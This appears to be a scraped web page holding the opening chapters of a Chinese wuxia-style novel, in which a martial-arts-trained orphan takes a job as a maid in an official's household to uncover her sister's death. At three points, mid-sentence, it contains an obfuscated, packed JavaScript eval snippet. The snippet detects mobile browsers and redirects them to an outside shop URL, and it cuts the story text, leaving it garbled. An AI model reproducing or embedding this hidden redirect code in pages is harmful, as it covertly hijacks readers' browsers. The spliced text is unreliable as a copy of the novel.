《扫地丫鬟懂点暗杀怎么了？》 1. 高府 鹿啄目空一切。 因不在意而滋生的傲慢反让她在这十几个小婢子里更不惹眼了。 她站在最尾，靠近西厅门槛，衣服已经月余没换过，但好在她也月余没吃过热食，除了一身的土，倒并没什么油腥气。 今日，是虎踞此地的达官巨贵高家府上为迎客遴选新婢女的日子。 高家一门为官，官做得最大的是当朝右副都御史高彦韬，他是高老太爷的第三子，考取功名擢升到京城办差后极少返乡，数十年来只有今年因家中高堂重病返乡探病。 高官返乡，自然少不了贴上来的远亲近邻，高府几个月间门槛都要叫人踏破，可府上多年只有高老太爷夫妇和大房一家居住，人手不够，只得前前后后在当地牙行中采买了几次。 其中有幸签了身契的小婢子们进府后，就要像今天这样，依着模样身段，遴选些拿得出手的到主人家跟前，迎客伺候。 至于剩下的，鉴于已经花了银子，也不能轻易打发，各人有什么本事，就到什么地方去当差。 鹿啄没什么本事。 如果硬要说，也算有一样。 她昨日被高府买进来，其一是因为高府一定要会识字的，她偏巧会。其二，算是一桩巧合，她们那个牙行其它的姑娘，在高府来选人的前一天，都不约而同的陷入了昏迷，据说今日才醒。 让人不约而同而且不着痕迹地陷入昏迷，就是鹿啄的本事。 鹿啄有必须进入高府的理由。 但她没有要被选到近前伺候的理由，更没有帮着高府悉心待客的理由，所以她显得目空一切。两个嬷嬷到跟前抽她的膝盖窝，她才意识到主母和高家的姨娘来选人了，很利落地跪了下去。 西厅的堂中立着一座紫檀木雕花屏风，上绘山水墨画，屏风前设两张酸枝木交椅，椅背雕云纹，侧方置一黑漆描金方几，摆着青瓷茶盏，那就是给夫人和姨娘准备的。 鹿啄低着头，耳边传来叮叮当当的环佩碰撞声，还有笑声。看步伐，走在前头的是夫人。那夫人好像跟市井里热络张罗的大娘一般，并不在意什么高官贵眷的威仪，时不时就冒出两个十分亲昵的玩笑来。 只是夫人的情绪再怎么火热，这西厅里也只是充斥着屏气慑息的压抑，不知是多宝阁里陈列的香炉熏得太雅，还是这严密得连人的眼睛都要把控的规矩让人透不过气。 贴身伺候的嬷嬷们把厅上的情形都给夫人和姨娘讲了，那夫人不知是真满意还是并不在乎，只一味点头应好，并让嬷嬷把姑娘们一排排的叫到前头去看。 叫到鹿啄这一排的时候，起先就在下面的两个嬷嬷似乎仍很担心她，仍在旁边守着，看鹿啄没有直视夫人，才安心地赔着笑，夸耀贩售似的，牵起鹿啄旁边姑娘的手举着给夫人看： “奶奶，您瞧瞧这丫头的手，真是天生奉茶的料，稳当，干净，瞧着人心里敞亮。” “确实好模样的，”夫人殷碧抚掌笑叹，仿佛眼前的姑娘是她亲生的一般欣赏着：“多可人疼，得给你安排个好去处才是。” 借着她说话的功夫，鹿啄抬眼向上瞧了瞧。 夫人殷碧看起来很年轻，跟旁边那个姨娘比起来稍显富态，今日只着一身舒便家常装束——外层是件碧色细棉布比甲，领口、袖口沿了圈浅藕荷色细绫边，针脚细密得几乎看不见；下身是条湖蓝色素缎马面裙，裙身未绣繁复纹样，只在裙摆处暗织了层缠枝莲纹。 她一直笑着，只是不知道这笑是给谁笑的，因她说话的时候，并不看人： “我看放在克行房里，或者放在克肃房里都很好，虽说是老爷不叫商议婚配的事，但年纪大了，屋里一直没个体面的丫头，可是叫咱们这等官宦人家的瞧不起了。” 这话是冲着那姨娘说的，亲昵如姐妹，但后者似乎并不领情： “太太怎么说这么糊涂的话。” 姨娘手扶在脖子上，歪着脑袋打量那姑娘，单她的一双眼睛，就刻薄得吓人： “这都是些外面买来的，等回去了还要再打发，听了您这话，回头出去乱说，都争破了脑袋要留房，才是真叫人瞧不起。” 鹿啄并不知道自己正眼睁睁地瞧着妾室教训主母的难得场面，她只看到旁边姑娘妖娆扭捏的手指一下散了，几乎是支棱在空中——这大概是没被看重，有些丧气。 那句“等回去了还要打发”说得再明白不过了，先前隆重推荐的郑婆子也叫拂了面子，厚起脸皮再荐： “陆姨娘玩笑了，太太不过说两句屋里头的话，这回挑的都是体面丫头，万万做不出让主家没脸的事儿。一个个人品、模样，都是顶好的，服侍得也好，哪怕京城的台面也是上得的。” 闻言，陆从漪噙笑，横起一双本就快飞到两鬓里的眼睛：“京城的台面你瞧见了？” 郑婆子一下住了嘴。 她是这里府上的婆子，别说京城的台面，她连京城的耗子几只爪子都不知道，原想着替主母解围，若主母有心记得，至少身旁这个侄女能有腾达的时候，没想到根本把错了高府的脉。 她只得把姑娘的手轻轻放下，兼求助似地看了一眼旁边的庄婆子。 那是她的旧识，现在高府三房的管事婆子，也是殷碧的陪嫁。庄婆子就站在鹿啄身边，一言不发，哪怕是捕捉到了那个求助的眼神，庄婆子仍是缄口，等着厅上的菩萨们发话。 陆从漪向后一靠，拿起青瓷茶盏，她边上的赵婆子立刻拾起纸笔，听主人发落： “按规矩办吧，有什么本事，会做些什么事，说说。”陆从漪呷了一口茶，突然好似落了一锭金子在旁边似的，叫了一声回过头：“打嘴打嘴，妾身说什么呢，这事儿还是得听太太的，是吧？” 殷碧活像一尊雕像一样，笑容不变： “都是一起伺候老爷的人，也不分听不听谁的，既然姨娘拿主意了，就都说说，就从……” 她说着抬起一根手指，不知是出于夫人的尊严还是名门贵女的骄矜，那手指只动了一点点，移到了鹿啄身上： “就从你开始吧。” 屋里三个婆子闻声而动，一个拍了鹿啄一把，另一个刷刷刷在纸上记录夫人和姨娘的指示，一直没动的庄婆子前出一步，高声回道： “回夫人的话，此女青州出身，年十六，没名儿，父母都死了，之前也没有主家，主子若是留用，再赐名。” 鹿啄行了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030531|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼，算做是对庄婆子的说法表示同意，名字对她来说并不重要，没了可以叫她的人，叫什么都无所谓。 这看起来又不起眼，年纪又有一些大的姑娘没勾起殷碧什么兴趣，但她还是点点头： “是个可怜的。庄嬷嬷说这一批选上来的都是识字的，你也识字？” 鹿啄点了一下头，庄婆子瞪了她一眼。鹿啄也看了庄婆子一眼，知道自己应该再多给一些反应，于是又回了一个“嗯。” 庄婆子两个鼻孔使劲儿出了一段儿气，但鹿啄没反应了。 “不碍的，庄嬷嬷。”殷碧笑容常在，“她这是头一回卖人家，规矩有些差池，可以教。现下识字的并不好找，叫牙子们寻了这些次，也才凑出一点。” 十几个并不少了，但高府连厨房里端菜的都想要会识字的，十几个就并不显多，更何况这十几个里，还有过一半都是只认识些一、二、三、四、你、我、他，之类的简单文字，看书信都费劲。 殷碧接着问：“认识多少字？” “不少。” 鹿啄答得快，庄婆子的脸绿得也很快，但殷碧反而笑起来，她好像被陆从漪得罪惯了，还挺爱被得罪的，边笑边随手招呼身后的一个婢女，那婢女只得了个眼色，就捧着一页纸走到鹿啄身边，把纸递给她。 “从敬慎第三开始读。” 这纸上是殷碧事先誊抄的《女诫》，她特意叫鹿啄从敬慎第三开始读，第一是要知道她是不是真的识字，第二是怕她事先背过，故意打乱顺序。 但她多虑了，鹿啄可能曾经背过菜谱，却如何也不可能背过《女诫》。 接过纸，鹿啄只读了三句，殷碧就叫停了： “不错，还会什么别的？女红？点茶？” 纵然庄婆子在一边从牙缝里使劲儿挤出一个气声儿的“回太太的话”，鹿啄最后也只是给了两个字： “不会。” 这回轮到陆从漪“噗嗤”一声乐了： “太太若是不叫掌嘴，我可叫赵嬷嬷掌她的嘴了。这丫头好没规矩，目无尊卑，没大没小，脸皮也实在很厚。” 殷碧其实真的不生气，她要是会为这种事生气，第一个该挨嘴巴的就是坐在旁边的陆从漪。可殷碧也知道自己拦不住陆从漪。她正欲说话，就听“扑通”一声，那边鹿啄跪下了： “别打，我学。” 这一声响起，满厅寂静，片刻后，陆从漪才拧起眉头，牵着一边嘴角，怒极反笑： “你以为我是因为你不会别的才要打你？” 鹿啄就是这么以为的。 她不太明白什么是尊卑，但她明白什么是厚脸皮。 见鹿啄还是一副全天下都有错，就我最真诚的模样，半天陆从漪的脸色也没缓和。 这世上就专有那种喜欢打圆场，从而凸显自己机巧的人，比如郑嬷嬷就是一个。 她又钻出来，劝着坐在上面的两位别动怒，极尽谄媚地劝说：哪怕是看着厌烦也可以打发回牙行，犯不上动手打，打花了脸，叫牙行的在外头传高家苛待下人。 只是她费力劝了一圈，陆从漪兀自冷笑： “那就留下，留下我慢慢打。” 2. 小畜生 鹿啄被陆从漪的贴身婆子赵嬷嬷拎出去掌嘴了。 厅里还有正事，没得为她耽误时间，更何况惩罚下人一贯也都是在人瞧不见的地方，以免污了贵人的眼睛。 但赵婆子眼下很后悔自己为什么没在厅上打。 她没想到这丫头会躲！ 当然，人都有趋利避害的本能，躲掌嘴的丫头多了，不止这一个。可是一般情况下，有四个小厮牢牢按住肩头和小腿跪坐在地上，躲是躲不开的。 可这丫头不知怎么搞的，每次眼看着都要打着了，就差那一点点的时候，她突然一扭身，就躲过去了。几个小厮也都摸不着头脑，每次都按得更用力些，关节都按发白了，但她还能躲！ 凌空抽了空气二十几个嘴巴以后，赵婆子起急。她猛然抡圆了巴掌，拧着腰使劲，掌风呼啸，她几乎倾注了二十年扇嘴巴的功力。 但还是打空了。 只听赵婆子惨叫一声，一手掐腰，一手撑地，这一巴掌不仅仅打空了，还把她自己的腰打扭了。 几个小厮见状，赶紧松开鹿啄，跑过来扶赵婆子，赵婆子连爬带窜才终于借着两个小厮的肩膀爬起来，另两个小厮站在近前，五个人面面相觑，正纳闷，这边赵婆子突然看见鹿啄竟站起来了，而且一下子离赵婆子他们非常近。 赵婆子一句“你要干嘛？”卡在嗓子眼里还没出口，就觉得脖子一疼，眼前一黑，接着，她跟四个小厮同时倒了下去。 鹿啄使出了不着痕迹让人不约而同昏迷的本事。 看着眼前东倒西歪的几个人，鹿啄抬头朝西厅的方向侧耳听了听，那边并没什么动静。趁着没人来叫人，鹿啄把几个人按照刚刚掌嘴的站位摆放好，自己站在被掌嘴的位置比量了一下，确定了倒下的方向后，她缓缓地躺在了青石砖地上。 青石砖地让太阳晒过，暖烘烘的冒着一股馨香的气味儿，鹿啄合上了眼睛，没多久就睡着了。 这是几个月来她睡得最好的一次。 也是她下山以来，第一次做梦。 梦里的啜狗山晴空万里，六个姐姐和逐娘在茅草屋里等她回家。 鹿坤嚷嚷着又打了哪个武馆；鹿霖在梅花桩上飞来飞去；鹿坪做的“一捻酥”在架子上沥油；鹿霄捧着棋谱，帮鹿荇碾草药；鹿苓还在给她绣枕顶，一针接着一针。 突然，好大一朵云飘过来，盖在茅草屋上。 要下雨了。 鹿啄想起啜狗山上连日不绝的那场大雨，那场大雨，就是一切惨剧的开端。 她想叫姐姐们赶紧回屋里去避雨，却忽然看见逐娘的脸从茅草屋里探了出来。逐娘脸上一片死白，就像鹿啄最后见她那次一样。她念叨着： “得把鹿鸣找回来，得把鹿鸣找回来……” 乌云翻滚着，山中腾起片片水汽，逐娘惨白的脸逐渐隐没在水汽之中，鹿啄向着逐娘狂奔，她很想对着她大喊：别找什么鹿鸣了，如果不是非得找什么鹿鸣，她们怎么会都死了，怎么会全死了！ 愤怒、惊惧、痛苦万状，她平生只体验过一次的那些感情又一次笼罩了鹿啄。 啜狗山的小茅屋突然倾颓破败，黑色的雨水倾盆盖下，融化了茅屋。姐姐们的尖叫声和哭声接连响起，鹿啄回身去找，却一个人也找不见。她觉得手上一疼，低头，看见自己的左手被另一人枯瘦惨白的手死死攥住。 鹿啄去看那人的脸。 那是鹿苓。被人从高家丢出来的那天，鹿苓就是这副模样。她的双颊紧缩，额上全是汗水，两片嘴唇怎么都合不上，只是一个劲地叫鹿啄回啜狗山上去，回家去。 家？ 啜狗山上，哪里还有家。 姐姐们一个个不明不白的死了，她哪里还有家？ 忽然，她觉得脸上好像落下一个巴掌，但这巴掌不是鹿苓打的，姐姐们从没打过她，也绝不会打她。 鹿啄猛地睁开眼睛，郑婆子的脸落入眼中，带着十万分的不解。 她反应过来。 是噩梦，她做了一个噩梦，梦见了那些以后只能在梦中见面的人。 越过郑婆子拧巴的老脸，鹿啄环顾了一圈，发现所有人都被抬回了西厅，应该是太长时间没见他们回来，夫人和姨娘让人去叫了，然后就发现所有人“昏迷”在一起。 殷碧几乎从椅子上探出了半个身子，关切地问： “这是怎么回事啊？出什么事了？” 刚刚醒来的几人都是头昏脑涨，四个小厮捂着脖子和脑袋，赵婆子捂着脑袋和腰。鹿啄照着他们的样子，也捂着脑袋，并不搭话。 过了一会儿，赵婆子大概是反应过来了，张了张嘴，本打算说些什么，但突然想起来殷碧和庄婆子可是眼睁睁看着呢，自己总不能说掌嘴一个小丫头都办不好，还把腰扭了吧，至于后面是发生什么了，她也不知道。 要是张嘴就说废话，少不了要让陆姨娘收拾一顿，想到这，她遂又闭上了嘴。 见自己得力的人半晌也说不出个所以然来，陆从漪便乖觉地不出声，也不提先前掌嘴的事情了，只等着殷碧那边决断。 众人叽叽喳喳了一阵，喜欢在主子面前显示自己好心肠的郑嬷嬷说，可能是训话的时间长了，外面天热，几个人都伤暑了，只是自己不觉察。 也没有比这更好的解释了，除了这五个人倒了一地以外，旁的倒都没事，等了一阵，还是没事，殷碧不放心，又叫了二门上的小厮叮嘱内院加派人手。 除此以外，再没别的可做，于是最后郑婆子的说法就被稀里糊涂地认了。 至于选内院婢女的事，也很快有了发落。 姑娘们要么是识字程度并不令夫人满意，要么是年纪太小或太大，除了一个叫素馨的被指到三房的二少爷高克行的书房听差外，其余人都被夫人交给底下的婆子分配。 女婢们齐齐谢恩，殷碧又和蔼地叮嘱了几句不能懈怠好好当差之类的场面话，便带着庄婆子离开了西厅。 陆姨娘目送殷碧走后，心中狐疑了半晌，跟赵婆子交换了几次眼色，都没觉察出关窍，只能作罢，也带着心腹走了。 余下厅上众人，跟着郑婆子先回下人房。 毕竟今日进府的新女婢面子上是高老太爷出钱收的，理应由郑婆子先管着。 回下人房里收拾铺盖，听讲规矩，等郑婆子有了定夺，或者是再下面的管事妈妈们开口要人，这些女婢才算分配完毕。 出了二门，要朝外院西南角走上一刻钟，才是临时安置的下人房。 高家的家生子有各自的住处，也有在府外购置房产的，至于一等女使和贴身的书童小厮都跟着主子们住。只有这些买来的，伺候年头不长的，才暂时安排在西南角筚门圭窦的小屋里。 下人房，女婢们挤在屋内唯一的大炕上，都安排停当，依次点卯准备领新衣服。 这时候，郑嬷嬷才意识到，还没人给鹿啄起名字。 为了一个下等女婢的名字特意去请太太姨娘们的主意实在是犯不上，况且她以后只能在厨房柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030532|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房这些地方活动，万不会有主人问起名字的时候。郑嬷嬷心下合计，调笑着问鹿啄： “你是个没爹娘的野种，便把你当个小畜生叫，也使得的吧？” 郑婆子有意试探这丫头的脾气，但并不为重用她，只是想泄一泄今日几番吃了白眼的气恼。若鹿啄应下来，那以后就专拿她撒气；若鹿啄不应，正好借故再打她几个嘴巴。 只有这样，郑婆子才不觉得自己是个伺候人的奴才，某种程度上，她也能做得了他人的主。 但鹿啄只是“嗯”了一声，并不在意郑嬷嬷是有意欺辱还是无心说笑。她更在意的是，凡留用了的丫头，旧衣物都要统一拿出去烧了。 她的衣服再破再旧，也都是鹿苓一针一线亲手缝的，绝不能烧。 “郑嬷嬷，”鹿啄叫了郑婆子一声，这尊称给后者吓了一跳。鹿啄理着袖口，低头问： “烧衣服的事，能不能让我去？” 闻言，郑婆子轻嗤一声。 怎么可能。 那可是个美差。 这批选进来的姑娘，不全是人牙子手上存下的。有官卖的、有携家投靠的、还有父母卖闺女的。 其中不少，或是曾有家底，或是为了让主家选上，特凑钱买了新衣服。以至于她们的旧衣物林林总总加起来，也值不少银子。 若把这些衣物先找个地方藏起来，日后有出府采买，便可寻个机会，或卖或当，也是一笔花销。 郑婆子的侄女凝儿，也就是适才给夫人姨娘展示双手的那一位，就在这堆姑娘里。她怎么肯让旁人占了这种好处。尤其郑婆子又早早给鹿啄扣上了又笨又钝的帽子，猜她是个将来没有出头的。 平白讨好她不是吃饱了撑的嘛！ “少动歪心思。” 郑婆子瞥了鹿啄一眼： “把规矩学好了就去上工，偷奸耍滑，还想挨巴掌？” 她并不知道鹿啄压根没被打过，便依经验觉得如此威胁之下，鹿啄会怕。 果然，鹿啄不说话了。虽然她脸上没出现郑婆子期待中那种顺从畏惧的神色，但也没再挣扎，点了个头就跟着厨房来领人的厨娘出了下人房。 因着白天所有人都要上工，所以按规矩原是要把衣服都交给小厮去烧的。但郑婆子已经打点好了，等下了工，再悄悄把衣服打成包袱，都交给侄女凝儿，不值钱的就烧了做做样子，剩下的藏进前西厢房塌了的那个灶台里。 反正郑婆子不说要修灶，也没人会擅动。 ----------------- 往厨房走的路上，鹿啄还是走在一队人的尾巴上。 方才，她大概能感觉到郑婆子不会同意让她去。虽然她不知道郑婆子私下的脏心眼，但她直觉自己并不怎么受任何人的喜欢。 不过无所谓，衣服是东西，是东西就不会凭空消失，鹿啄有一万种办法能盯着这些东西最后的去向。她也没打算去上工，一旦叫 各人到各处去忙，鹿啄就准备去四处查探一下高家，顺便找找鹿苓留给她的东西。 鹿苓在高府的时候，一直跟她有书信，信里反复提了多次，在啜狗山上给她绣的枕顶绣到现在，才将将要绣好了。 可鹿苓被高府抬出来的时候，身上什么都没有。姐姐是不会骗她的，高家人一定知道枕顶的去向。 她要把自己的东西拿回来。 另外，有两个把姐姐抬回来的高府小厮，他们见过自己。 这两个人得永远闭嘴。 3. 最会劈柴的人 除了素馨由小厮领着，去了少爷的书房外，余下的十几个小丫头叽叽喳喳地朝着厨房走去。 绣房、浆洗房、杂役房也都是要人的。只是厨房要的急，可以先挑，做完了午食，有干得好的就留下，剩下的再给其它地方挑。 有些特别本事的，例如绣工好的、能把衣服浆得又挺阔又齐整的、特别会侍弄花草的，便也不会在厨房出什么力气。 厨房的活计不少，像是切菜码盘这些活儿，都指了之前干过的几个丫头做，余下洗菜烧火的粗活，也分轻重。 丫头们自作主张地吵着哪些活最好，哪些活最累。 她们之中有之前就认识的，默契地结好了伴，凑在一处调笑，剩下的也各凭眼缘，三三两两拉拢在一处。 其中几个人有意跟鹿啄亲近，但说了几句，大多驴唇不对马嘴，几次下来，就没人特意去找鹿啄说话了。 二门外就是粗使仆役们的一生，整日都得围着这几块小地方打转，快走到厨房，就先看到柴房。 一个颇有些块头的婆子站在柴房门口，远远就朝着走过来的小丫头们望个不停。 领着小丫头们的许厨娘上前打了个招呼： “胡妈妈！怎么上柴房来了？” 被叫做胡妈妈的粗壮婆子搓了搓手，手心掉下一点木屑： “嗐，都这个时辰了，我想着也该烧火了，就让丫头们去捡些柴，谁知道哪个惹了柴行的祖宗们，新进买回来的柴总有些大疙 瘩，一来二去的，就没有细柴引火，只能自己上手劈。” “冤孽啊，还不是孙六家的捞得太多，又关柴行什么事了。” 许厨娘挤眉弄眼，胡婆子心照不宣，话锋一转： “可不是嘛，你说我这老身子骨，我也劈不动啊，这么些木疙瘩，总不能一直放着占地方。妹子你行行好，给我拨两个身强力壮的？” 她说自己劈不动，许厨娘肯定是不信的，但府上的老人对偷懒这件事惯有默契，嘴上她也并不会说胡婆子什么，于是客套着让胡婆子自己从旁边的小丫头们里面选。 一听要被选去劈柴，丫头们退后的退后，低头的低头，一个劲儿往各自小姐妹的身后躲。 毕竟谁也没想到还能遇上劈柴的活计，这可是重活儿。低门小户都有小厮和男人去做，至于高门大院，柴火都是从柴行和柴夫手里买现成的，日日有人在外宅劈柴，叫外人看见了有穷酸样。 但偶尔夹杂买了几根用不上的粗柴，或是今天这种情况，仆妇和婢女们为了赶上午饭的时辰，也只能自己上手劈，然而劈柴伤手，又费力，没人愿意干。 胡婆子有些犯难。 偷懒是要偷的，可活儿也不能真的没人干，这一个个看着弱不禁风的样子，恐怕自己还得盯着，更没处躲懒了。 正愁着，忽听人群里响起一个声音： “我去。” 话毕，胡婆子就看见一个高瘦女孩儿从队伍尾巴走了出来，她先看了看女孩的手——倒是一看就干过活的。骨节分明，手指长而有力，隐约能瞧见不少茧子。 接着，她又看了看女孩的脸。 这张脸不太好说。 说俊俏吧，确实不比金尊玉贵的小姐和大丫头们精致，但若说是样貌平常，却又透出些说不清道不明的意思来。胡婆子觉得，这丫头甚至有些像民间庙里塑得不精细的泥身菩萨，虽为凡胎打造，却掩抑不住神性，叫直视者挪不开眼睛。 如果不是盯着看，一定会觉得这丫头十分不起眼，根本注意不到。 但胡婆子没再深想，她又点了一个看起来年纪稍大一些的丫头，就谢过许厨娘，领着人回柴房了。 到了柴房，胡婆子很快借口说自己已经劈好了一些柴，得加紧送到厨房去，一溜烟没影了，把柴房扔给两个丫头。 另一个女孩叫纯儿，跟鹿啄同岁，是家道中落父母卖进来的，平素里除了绣花（绣得不好），没做过什么事，突然领了这么个差事，一时发懵，直对着柴火堆发呆。 鹿啄也没看她，径自拾了斧子站在院中。 她并未立刻动手，而是先低头，目光一扫，脚尖灵巧地一拨，便将一根粗柴不偏不倚地拨到砧板的正中。 接着，她右手握住那柄厚重的斧头木柄末端，腰身带动手臂，挥出短促而凌厉的一斧—— “嚓！” 一声极其清脆利落的裂响，干脆得几乎没有余音。那柴禾应声从中裂成均匀的两半，向左右倒下，断面光滑，不见一丝毛茬。 纯儿缓缓张开了嘴。 鹿啄动作丝毫不停，甚至没有多看成果一眼，脚尖又是一拨，另一根柴禾已然就位。斧起斧落，那近乎本能的、高效而从容的动作，不断重复，直至碎裂的木柴在她脚边迅速堆积，散发出新鲜的木质香气。 “送去厨房。” 鹿啄道。 “啊？” 纯儿从一瞬的晃神中清醒过来，看了看地上劈好的细柴，又看了看鹿啄： “你自己不去送吗？” 她刚说完，就见鹿啄抬手，斧子被凌空抛起，残影在半空中画了个圈，斧头朝内，落在鹿啄手里，鹿啄把斧柄伸向纯儿： “那你劈。” 纯儿又是一声“啊？” 鹿啄不说话。半晌，纯儿反应过来，赶紧摇了摇头，撩起自己外衣的下摆，形成一个兜子，再把柴一根根拣进兜子里。 等她终于把柴都盛好，鹿啄又做出了要劈柴的架势。 纯儿没在大户人家做过事，在家时也曾得父母的疼爱，故而她心思单纯，只觉得感激，便冲着鹿啄点了点头： “我觉得这些已经很够用了，还是咱们一块儿回去吧？” 鹿啄摇了摇头。 这是不想一起回去的意思。纯儿起先没理解，但设身处地后，又觉得合理。万一她前脚回去，后脚胡婆子又过来了，发现两个人都不在，肯定是要罚的，于是她再次诚恳地对鹿啄说： “那我先送回去，等下再回来找你。” “不用。”鹿啄似乎觉得说很多话是一种苦恼一样，叹了口气才道： “不用回来了，那些够用，我想偷懒。” 纯儿又一次缓缓张开了嘴巴，她没想到有人会把偷懒光明正大地说出来，更何况刚刚鹿啄的行为除了她自己说的这一句偷懒以外，跟偷懒一点都不挨边，纯儿一时不知该说什么： “那……那……” “那”了半天，没“那”出个所以然来。 该不该包庇鹿啄呢？不对，包庇多半是包庇不了的，等一下她把柴送回去了，很快厨房那边就会发现细柴够用，肯定立刻派人来叫鹿啄回去做其他事，那她顶多也就是在柴房歇一刻钟，这懒偷的好没意思。 但转念一想，今天如果不是鹿啄把她的份一起做了，她就也得上手劈柴，劈到什么时候去不说，单就是一双手，肯定全毁了。 冲着这份恩情，如果只是装没看见装没听见，她还是可以做到的。 临走前，纯儿又很认真地叮嘱： “我回去以后什么都不会说的，但你自己也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030533|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估摸好时辰，别让嬷嬷们罚了。” 鹿啄点头，目送纯儿的身影在墙根处完全消失，随后，她扔掉了手里的斧子。 日头就快到正南了，厨房里现下是最忙的时候，少了一个新来的丫鬟根本不会有人在意。况且再过一会儿，内院会叫传菜，大多数人都会去二门外等着，只要纯儿不露馅，更不可能有人特意来寻她。 想着，鹿啄走到柴房正门，突然一跃而起。她凌空拧腰，腾空的瞬间右脚猛踏柴房的梁柱，借着踏步的力道再次升高，脚步轻得几乎未发出任何声响，其身形却已如一只敏捷的雨燕，骤然攀升至檐角。 接着她探出手臂，在檐角瓦片上轻轻一搭，微一用力，整个身体便借势翻腾而起，悄然落定在屋脊之上。 柴房的房顶不算是最高的，而且很小，虽然上来方便，但要想观察整个高府，尤其是内宅，还是得到更开阔的位置去。 鹿啄起身远眺，很快瞄到内宅屋舍里最高的一处——那大概是祠堂或者藏书阁一类的地方，加盖了几层。 “嗒”的一声轻响，鹿啄的身影消失在原地。 若是此时有人路过，连她的一片衣角都不会看到。 ----------------- 厨房里热火朝天，却并非出于忙碌。 几个婆子谈得热闹，跟她们沾亲带故的小丫头们也边干活边凑趣。 谈论的焦点当然是素馨。 自从高老爷回家探亲后，这么多新买来的婢女婆子们里，她是第一个被选到少爷身边服侍的。 凝儿是头一个不服气： “不就是陆姨娘陪房家里的表亲，这有什么，就是我姑姑亲生的也没见让去少爷们院里呢。” 她抓着一盆凉拌胡瓜恶狠狠地搅，好像在搅素馨的脸。 新买的丫头都站得她远远的，生怕汁水溅在身上，但又舍不得这份嚼舌根的快乐，只能竖起耳朵打着精神听。 纯儿因抱着柴进来，自然而然地就去灶前烧火，没人看她，她也就在心里替鹿啄松了一口气。看来鹿啄敢偷懒也是有原因的，这都多半天了，竟没一个人想起她。 “也未必就能争上个姨娘。” 许厨娘是府上老人，跟郑婆子交情颇深，她的儿女都托了郑婆子的福，在长房的少爷小姐们院子里伺候，自然心里多帮着郑婆子些。 看着郑婆子的侄女受气，她便半巴结半疼惜地从锅中捻出一块炉焙鸡来，塞入凝儿口中： “三房一共三位少爷，虽都是庶出，但也都到了婚配的年纪了，老爷多年不叫太太张罗，为这事还跟陆姨娘拌过几回嘴，你道为什么？” 高家上一辈太爷一共有三个嫡子，除了在外独住的二房外，现下嫡长子一家和在京城做了副都御史的三子一家都住在高家祖宅里，因儿女众多，下人们都是分房称呼，真正按年次排班的大少爷和二少爷，其实是大房的长子和次子。 只可惜大房的长子已经成家，次子也没个一官半职，对于想往上走一步，哪怕是到京城为奴为婢也愿意的凝儿来说，她心里的大少爷二少爷只有三房的那两个。 故此，她比旁人都更在意三房的边角料，立时嚼了几口，把鸡肉丝吞了，追问许厨娘： “为什么？” 许厨娘眯眼一笑： “当年三房老爷自己也是有了官身才娶妻，太太一心认准老爷，苦等多年，俩人齐了心，才有今天，老爷叫大少爷二少爷不谋得官职就不议婚配，可见并非说笑的。那就更没有正妻不过门，先抬姨娘的道理。” 4. 你到底从哪儿来的 高家三房共有一妻两妾。 正室当然是殷氏殷大奶奶。其娘家是世袭军侯，钟鸣鼎食的簪缨之族。 另外两门贵妾，也是来路非同一般。 给高彦韬生了两个儿子的陆从漪是都察院右都御史的庶女，也就是高彦韬直属上级的女儿。 当朝二品家的女儿，哪怕是庶女，也是富贵无极，原不该与人为妾。但右都御史陆大人对高彦韬极为爱重，陆从漪又对高彦韬芳心暗许，加之陆从漪嫁入高家为妾时，陆大人还没做到这么大的官，于是高家三房才有了这么一位贵妾。 如此贵妾，就是碰破了一点油皮，都能到官府控诉主母薄待，更何况高彦韬没有嫡子，庶长子和庶次子都是陆从漪所出，她不横行霸道才是没了天理。 另一位妾室姓杨，名唤怀薇。虽不是右都御史这样的高官之女，却也是高家老夫人为高彦韬亲自挑选的良妾，出身小官之家，育 有一子两女。且杨氏先于陆氏进门，几乎和殷氏前后脚。 多年来，要说三人之间亲如姐妹，那是扯谎。但若说有什么阴谋算计，水火不容，也不至于。 殷碧早已习惯陆从漪大事小事总爱给她没脸，陆从漪也并不诚心要把殷碧挤兑死好做填房，至于杨怀薇，周旋于两人之间，不偏不倚，一味的瞧不上任何人。 这些关窍，让鹿啄用嘴去问，饶她个三年五载她也是问不出来的。但好在鹿苓还活着的时候，常给她写信，再加上没进高家前又唠唠叨叨与她说了不少绣工上的事儿，鹿啄无心听，也入耳了不少，因此她大概能凭衣裳分辨出高家人的身份地位。 可纵然分辨出来了，也无济于事。 人实在是太多了。 衣着光鲜亮丽者数一数竟然有十几个，除去她见过的夫人姨娘，还有大房的夫人姨娘，十一二个少爷小姐，哪个是哪个，完全没头绪。 鹿啄曾经想过，不管是谁害了姐姐，只把他们满门除尽，必不会叫真凶走脱。 